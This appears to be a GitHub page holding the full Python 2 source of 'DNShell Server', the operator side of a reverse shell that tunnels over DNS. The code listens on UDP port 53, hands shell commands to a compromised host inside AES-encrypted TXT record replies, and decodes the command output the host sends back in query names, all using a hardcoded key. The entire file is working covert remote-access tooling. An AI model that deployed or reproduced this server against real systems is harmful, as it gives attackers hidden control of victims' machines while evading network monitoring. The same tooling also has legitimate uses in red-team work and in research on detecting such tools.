-
Notifications
You must be signed in to change notification settings - Fork 173
/
reverse_dns_shell_server.py
executable file
·126 lines (106 loc) · 4.3 KB
/
reverse_dns_shell_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# DNShell Server V1.7
from Crypto.Cipher import AES
import socket
import dnslib
import base64
import time
import sys
DNSHELL = """
██████╗ ███╗ ██╗███████╗██╗ ██╗███████╗██╗ ██╗ ' / | |
██╔══██╗████╗ ██║██╔════╝██║ ██║██╔════╝██║ ██║ /__ ___ ( /
██║ ██║██╔██╗ ██║███████╗███████║█████╗ ██║ ██║ \\--`-'-|`---\\ |
██║ ██║██║╚██╗██║╚════██║██╔══██║██╔══╝ ██║ ██║ V1.7 |' _/ ` __/ /
██████╔╝██║ ╚████║███████║██║ ██║███████╗███████╗███████╗ '._ ,A _,--'
╚═════╝ ╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ |_:_._/
https://github.com/ahhh/Reverse_DNS_Shell
"""
PORT = 53
NXT_CMD = base64.b64encode("nxt")
PROMPT = 'SHELL >> '
#PROMPT_COLORED = '\033[33mSHELL\033[0m \033[35m>> \033[0m'
BLOCK_SIZE = 32 # Block size for cipher object: must be 16, 24, or 32 for AES
PADDING = '{' # Character used for padding
EXIT = 0 # Used to keep track of 'quit' command
# REPLACE THIS WITH YOUR OWN KEY AND IV #
secret = "TyKuwAt5vg1m48z2qYs6cUalHQrDpG0B"
iv = "1cYGbLz8qN4umT4c"
# one-liner to sufficiently pad the text to be encrypted:
PAD = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
# Encrypt with AES, encode with base64:
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(PAD(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
# create a CBC cipher object using a random secret and iv
cipher = AES.new(secret, AES.MODE_CBC, iv)
def encrypt(string):
encoded = EncodeAES(cipher, string)
return encoded
def decrypt(string):
decoded = DecodeAES(cipher, string)
return decoded
def killApplication():
print '\n\n--[ Connection Ended ]--\n'
exit(0)
def spawnShell(answer, payload):
# Spawns our Command Shell:
shellInput = raw_input(PROMPT)
if shellInput == 'quit': EXIT = 1 #Set program to exit cleanly
if shellInput == '': spawnShell(answer, payload) # Prevents whitespace issues
out = base64.b64encode(encrypt(shellInput))
answer.add_answer(
*dnslib.RR.fromZone('{}.com 60 TXT "{}"'.format(payload, out)))
return answer
def dashDecode(b64Cmd):
# Converts encoded '-' padding to '=':
if b64Cmd[3] == '-':
b64Cmd = b64Cmd[0] + b64Cmd[2] + b64Cmd[4:] + '=='
elif b64Cmd[1] == '-':
b64Cmd = b64Cmd[0] + b64Cmd[2:] + '='
return b64Cmd
def recievePayload(udps):
data, addr = udps.recvfrom(1024)
dnsD = dnslib.DNSRecord.parse(data)
payload = dnsD.questions[0].qname.label[0]
answer = dnsD.reply()
return addr, payload, answer
def printResult(cmd_list):
try:
b64Cmd = ''.join(cmd_list)
b64Cmd = dashDecode(b64Cmd)
print '{}'.format(decrypt(base64.b64decode(b64Cmd))).strip()
except:
# Base64 Decode Failed.
print '[ERROR]: Couldn\'t Read Result from Host!'
def shellIntro():
for line in DNSHELL.split('\n'):
time.sleep(0.048)
print(line)
def main():
shellIntro() # Print the ASCII
cmd_list = [] # Stores List of B64 Commands to be Executed
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udps.bind(('', PORT)) # Bind to the specified port
print '\t.... Waiting for Request ....'
try:
# Setup Initial Command Shell:
addr, payload, answer = recievePayload(udps)
answer = spawnShell(answer, payload)
udps.sendto(answer.pack(), addr)
# Main Event Loop:
while 1:
addr, payload, answer = recievePayload(udps)
if (payload == NXT_CMD):
printResult(cmd_list)
cmd_list = []
answer = spawnShell(answer, payload)
else:
cmd_list.append(payload)
# Send back Response:
udps.sendto(answer.pack(), addr)
if EXIT == 1: killApplication()
except (KeyboardInterrupt, EOFError) as e:
udps.close()
killApplication()
if __name__ == '__main__':
main()